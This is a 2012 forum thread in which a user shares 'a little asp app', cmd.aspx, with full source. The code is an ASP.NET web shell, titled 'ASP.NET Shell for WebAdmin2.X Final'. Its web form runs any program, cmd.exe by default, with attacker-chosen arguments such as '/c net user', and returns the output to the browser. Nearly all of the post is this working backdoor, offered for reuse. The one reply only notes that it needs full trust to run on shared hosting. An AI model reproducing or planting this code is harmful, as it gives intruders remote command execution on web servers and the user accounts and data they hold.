a little asp app sharing- cmd.aspx

Discussion in 'C#' started by bizcheers, Mar 25, 2012.

  1. #1
    i code an app would like to share with guys. cmd.aspx

    <%@ Page Language="VB" Debug="true" %><%@ import Namespace="system.IO" %><%@ import Namespace="System.Diagnostics" %><script runat="server"> 
    
         Sub RunCmd(Src As Object, E As EventArgs)
    
                Dim myProcess As New Process() 
    
               Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)            myProcessStartInfo.UseShellExecute = False            myProcessStartInfo.RedirectStandardOutput = true 
    
               myProcess.StartInfo = myProcessStartInfo  
    
              myProcessStartInfo.Arguments=xCmd.text 
    
               myProcess.Start() 
    
               Dim myStreamReader As StreamReader = myProcess.StandardOutput
    
                Dim myString As String = myStreamReader.Readtoend()
    
                myProcess.Close()
    
                mystring=replace(mystring,"<","&lt;")
    
                mystring=replace(mystring,">","&gt;")
    
                result.text= vbcrlf & "<pre>" & mystring & "</pre>"
    
        End Sub
    
    </script>
    
    <html>
    
    <head>
    
        <title>ASP.NET Shell for WebAdmin2.X Final</title>
    
        <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    
    </head>
    
    <body>
    
        <form runat="server">
    
            <asp:Label id="L_p" style="COLOR: #0000ff" runat="server" width="80px">Program</asp:Label>
    
            <asp:TextBox id="xpath" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox> 
    
           <br />
    
            <asp:Label id="L_a" style="COLOR: #0000ff" runat="server" width="80px">Arguments</asp:Label> 
    
           <asp:TextBox id="xcmd" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
    
            <br />
    
            <asp:Button id="Button" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
    
            <p>
    
                <asp:Label id="result" style="COLOR: #0000ff" runat="server"></asp:Label> 
    
           </p> 
    
       </form>
    
    </body>
    
    </html>
    Code (markup):
     
    bizcheers, Mar 25, 2012 IP
  2. Scarrfo

    Scarrfo Peon

    Messages:
    59
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    "Dim myProcess As New Process()" That line right there will error and crash the app on almost any shared hosting. You would need full trust to do that.
     
    Scarrfo, Mar 28, 2012 IP